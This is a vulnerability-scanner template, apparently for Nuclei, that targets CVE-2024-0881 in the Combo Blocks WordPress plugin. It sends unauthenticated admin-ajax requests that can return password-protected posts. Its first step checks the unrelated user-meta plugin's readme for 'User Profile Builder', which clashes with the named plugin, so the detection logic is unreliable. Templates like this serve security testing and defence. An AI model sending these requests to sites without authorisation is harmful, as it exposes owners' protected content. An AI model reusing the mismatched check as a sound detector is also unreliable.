Combo Blocks < 2.2.76 - Improper Access Control

id: CVE-2024-0881

info:
  name: Combo Blocks < 2.2.76 - Improper Access Control
  author: Kazgangap
  severity: medium
  description: |
    The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel WordPress plugin before 2.2.76 does not prevent password protected posts from being displayed in the result of some unauthenticated AJAX actions, allowing unauthenticated users to read such posts
  reference:
    - https://wpscan.com/vulnerability/e460e926-6e9b-4e9f-b908-ba5c9c7fb290/
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0881
  classification:
    cve-id: CVE-2024-0881
    cwe-id: CWE-284
    epss-score: 0.00043
    epss-percentile: 0.08268
  metadata:
    verified: true
    max-request: 3
    publicwww-query: "/wp-content/plugins/user-meta/"
  tags: cve,cve2024,wp,wpscan,wordpress,wp-plugin,combo-blocks,exposure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/user-meta/readme.txt'

    matchers:
      - type: word
        internal: true
        words:
          - 'User Profile Builder'

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_paginate_ajax_free"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_ajax_search_free"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{"html"'
          - '"<div class='
          - '"pagination":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100deb3c2cb011969081041e458abc53a53013e5cb05bbe14f59c1faa72c014be17022100ba25e790d6e9b2dc420759b41b40d92f93167855db55d6862f69a8bfae5c740d:922c64590222798bb761d5b6d8e72950